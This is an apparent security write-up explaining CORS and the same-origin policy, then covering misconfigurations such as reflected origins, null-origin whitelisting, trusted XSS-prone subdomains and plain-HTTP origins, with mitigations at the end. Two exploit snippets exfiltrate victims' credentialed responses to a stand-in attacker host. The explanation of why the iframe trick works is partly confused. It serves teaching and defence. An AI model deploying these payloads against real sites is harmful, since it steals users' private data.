> For the complete documentation index, see [llms.txt](https://kruknight.gitbook.io/daemon-of-hacking/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kruknight.gitbook.io/daemon-of-hacking/writeups/portswigger-labs/cross-origin-resource-sharing-cors.md).

# Cross-Origin Resource Sharing (CORS)

## **What is CORS?**

CORS (Cross-Origin Resource Sharing) is a browser mechanism that enables controlled access to resources located outside a given domain. It extends and adds flexibility to the **same-origin policy (SOP)** but is **not a protection against CSRF**. Instead, it introduces potential for cross-domain attacks when misconfigured.

## **What is the Same-Origin Policy (SOP)?**

SOP is a web browser security mechanism that prevents websites from accessing data from other origins. It restricts scripts on one origin from interacting with resources of another origin.

### **Key Points about SOP**

* **Origin** consists of:
  * URL scheme (e.g., `http` or `https`)
  * Domain (e.g., `example.com`)
  * Port number (e.g., `80`)
* SOP allows embedding resources (e.g., images, scripts) but prevents JavaScript from reading their content.

#### **Example: SOP Restrictions**

| URL Accessed                         | Access Permitted?         |
| ------------------------------------ | ------------------------- |
| `http://normal-website.com/example`  | **Yes** (Same origin)     |
| `https://normal-website.com/example` | **No** (Different scheme) |
| `http://sub.normal-website.com`      | **No** (Different domain) |
| `http://normal-website.com:8080`     | **No** (Different port)   |

***

## **Relaxation of SOP with CORS**

CORS allows controlled relaxation of the SOP for trusted origins.

### **Access-Control-Allow-Origin (ACAO)**

The `Access-Control-Allow-Origin` header is included in the response to indicate which origin is permitted to access the resource.

**Example**: Request

```
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com
```

**Response**:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://normal-website.com
```

* The browser permits access to the response because the origins match.

## **Credentials and CORS**

#### **Access-Control-Allow-Credentials**

By default, cross-origin requests do not include credentials like cookies or the `Authorization` header. Credentials can be allowed by setting:

```
Access-Control-Allow-Credentials: true
```

Example:

```
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com
Cookie: JSESSIONID=abc123
```

Response

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
```

### **Wildcard Restriction**

The wildcard `Access-Control-Allow-Origin: *` cannot be used in combination with `Access-Control-Allow-Credentials: true`.

### **Pre-Flight Checks**

For certain cross-origin requests (e.g., those using non-standard methods like `PUT` or custom headers), browsers send a **pre-flight OPTIONS request** to determine what is allowed.

**Pre-Flight Request**:

```
OPTIONS /data HTTP/1.1
Host: some-website.com
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Header
```

Response

```
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```

## **Vulnerabilities Arising from CORS**

### **1. Server-Generated ACAO Header from Client-Specified Origin**

Some servers blindly echo the `Origin` header in the `Access-Control-Allow-Origin` response.

**Example**:

```
GET /sensitive-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
```

Response

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
```

Exploit

```
var req = new XMLHttpRequest();
req.onload = function() {
  location = "//malicious-website.com/log?key=" + this.responseText;
};
req.open("GET", "https://vulnerable-website.com/sensitive-data", true);
req.withCredentials = true;
req.send();
```

#### Code Breakdown

* **Creates a Request**: An `XMLHttpRequest` object is used to fetch sensitive data from `https://vulnerable-website.com/sensitive-data`.
* **Uses Victim's Session**: The `withCredentials` property ensures cookies or authentication tokens are included in the request, leveraging the victim’s authenticated session.
* **Exfiltrates Data**: Once the data is retrieved, the `onload` function redirects the browser to `//malicious-website.com/log` and appends the stolen data (`responseText`) as a query parameter.
* **Purpose**: The script is injected via XSS to steal private information by exploiting the victim’s session with the target site.

### **2. Null in Origin Whitelists**

Some applications maintain a whitelist of trusted origins but implement it poorly:

* Matching based on **prefixes** or **suffixes** can lead to vulnerabilities.
* Allowing `null` origin for testing or local development introduces risks. Request

```
GET /sensitive-data HTTP/1.1
Host: vulnerable-website.com
Origin: null
```

Response

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

#### **Exploit Using `null` Origin**:

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
  var req = new XMLHttpRequest();
  req.onload = function() {
    location = '//malicious-website.com/log?key=' + this.responseText;
  };
  req.open('GET', 'https://vulnerable-website.com/sensitive-data', true);
  req.withCredentials = true;
  req.send();
</script>">
</iframe>
```

#### **Code Breakdown**

**`<iframe sandbox="allow-scripts allow-top-navigation allow-forms">`**

* Creates a sandboxed `<iframe>` element, which allows running scripts, top-level navigation, and form submissions but restricts other operations for security reasons.

**`src="data:text/html,<script>...</script>"`**

* Embeds an inline HTML document using a `data` URI. This contains the malicious JavaScript code.

**JavaScript Code:**

* **`var req = new XMLHttpRequest();`**
  * Initializes an `XMLHttpRequest` object to send HTTP requests.
* **`req.onload = function() { location = '//malicious-website.com/log?key=' + this.responseText; };`**
  * When the request completes, it redirects the browser to the attacker's server (`malicious-website.com`) with the server's response (`this.responseText`) as a query parameter.
* **`req.open('GET', 'https://vulnerable-website.com/sensitive-data', true);`**
  * Opens a `GET` request to a vulnerable endpoint (`/sensitive-data`) on the target website.
* **`req.withCredentials = true;`**
  * Sends the request with the victim's cookies and session credentials, abusing their authentication state.
* **`req.send();`**
  * Sends the request to retrieve sensitive data.

#### Why using `<Iframe>` works in bypassing null origin

* **Null Origin Restriction:** Browsers impose a null origin on scripts running from `data:` URIs, preventing them from accessing cookies, credentials, or making cross-origin requests.
* **Sandbox Permissions:** Using the `<iframe>` with specific sandbox permissions (`allow-scripts`, etc.) enables execution of malicious scripts while still escaping the null origin restrictions.
* **Isolated Execution:** The `<iframe>` provides an isolated context where the script can freely execute without being blocked by the browser's default restrictions for `data:` URIs.

### **3. Exploiting XSS via CORS Trust Relationships**

If an origin vulnerable to XSS is trusted, attackers can inject JavaScript that retrieves sensitive data via CORS.

**Example**:

```
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
```

**Response**:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
```

### **4. Breaking TLS with Poor CORS Configurations**

If a trusted origin uses plain HTTP instead of HTTPS, attackers can intercept and modify traffic.

**Exploit Flow**:

1. Victim is redirected to `http://trusted-subdomain.vulnerable-website.com`.
2. The attacker intercepts this HTTP request and injects a CORS request to the main site.
3. Sensitive data is returned to the attacker.

## **Best Practices for Securing CORS**

1. **Avoid Blindly Reflecting Origin Headers**
   * Use strict whitelists of trusted origins.
   * Do not allow `null` origins in production.
2. **Do Not Combine Wildcards with Credentials**
   * Ensure `Access-Control-Allow-Credentials` is only enabled for specific origins.
3. **Implement Pre-Flight Validation**
   * Restrict allowed methods, headers, and origins in pre-flight responses.
4. **Avoid Trusting Vulnerable Origins**
   * Do not allow subdomains with known vulnerabilities.
